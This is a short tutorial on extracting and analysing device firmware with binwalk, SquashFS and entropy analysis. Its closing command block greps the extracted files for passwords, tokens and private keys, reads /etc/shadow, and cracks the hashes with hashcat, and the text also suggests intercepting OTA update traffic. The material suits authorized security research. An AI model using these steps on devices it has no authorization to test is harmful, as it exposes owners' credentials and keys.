Firmware is the operating system embedded in a hardware device's flash storage. It typically contains a compressed Linux root filesystem, bootloader, kernel, and application binaries. By extracting and analyzing firmware, you can find hardcoded credentials, private keys, backdoor accounts, and configuration files without touching the live device.

Obtaining Firmware
Download directly from the vendor's support page. Capture from a device during an OTA update by MitM-ing the update traffic. Extract from the physical flash chip on the circuit board using a flash programmer (requires hardware skills). Firmware files are usually .bin, .img, or .tar files containing multiple components concatenated together.
binwalk Extraction
binwalk is a tool that scans a binary for known file signatures (squashfs, ext2, gzip, LZMA, etc.) and extracts them automatically. It recognizes hundreds of embedded file types. After extraction, you have a directory tree representing the firmware's filesystem with all configuration files, binaries, and scripts accessible.
SquashFS Filesystems
Most router and camera firmware uses squashfs - a read-only compressed filesystem. binwalk extracts it automatically on modern versions. The extracted directory tree looks like a Linux root: /etc/, /bin/, /var/, etc. Start by reading /etc/passwd, /etc/shadow, and any files in /etc/config/.
Entropy Analysis
Entropy measures randomness. High-entropy regions in a firmware binary indicate compression or encryption. Sections with entropy near 8.0 bits/byte are likely compressed (squashfs, gzip) or encrypted. binwalk's -E flag generates an entropy graph. Low-entropy regions contain plaintext - config files, strings, hardcoded credentials.
# Extract everything binwalk can find from firmware
binwalk -e -M firmware.bin
  # -e = extract, -M = matryoshka (recursively extract nested archives)
  # output goes to _firmware.bin.extracted/

# Look for credentials in extracted filesystem
grep -r "password\|passwd\|secret\|key\|token" _firmware.bin.extracted/ \
  --include="*.cfg" --include="*.conf" --include="*.txt" -i

# Check /etc/shadow for password hashes
cat _firmware.bin.extracted/squashfs-root/etc/shadow

# Crack extracted password hash with hashcat
hashcat -m 500 '$1$salt$hashedpass' /usr/share/wordlists/rockyou.txt
  # MD5crypt hashes (common in embedded Linux) = mode 500

# Find SSL private keys in firmware
grep -r "BEGIN RSA PRIVATE KEY\|BEGIN PRIVATE KEY" _firmware.bin.extracted/

# Check entropy map before extraction (visualize what is compressed/encrypted)
binwalk -E firmware.bin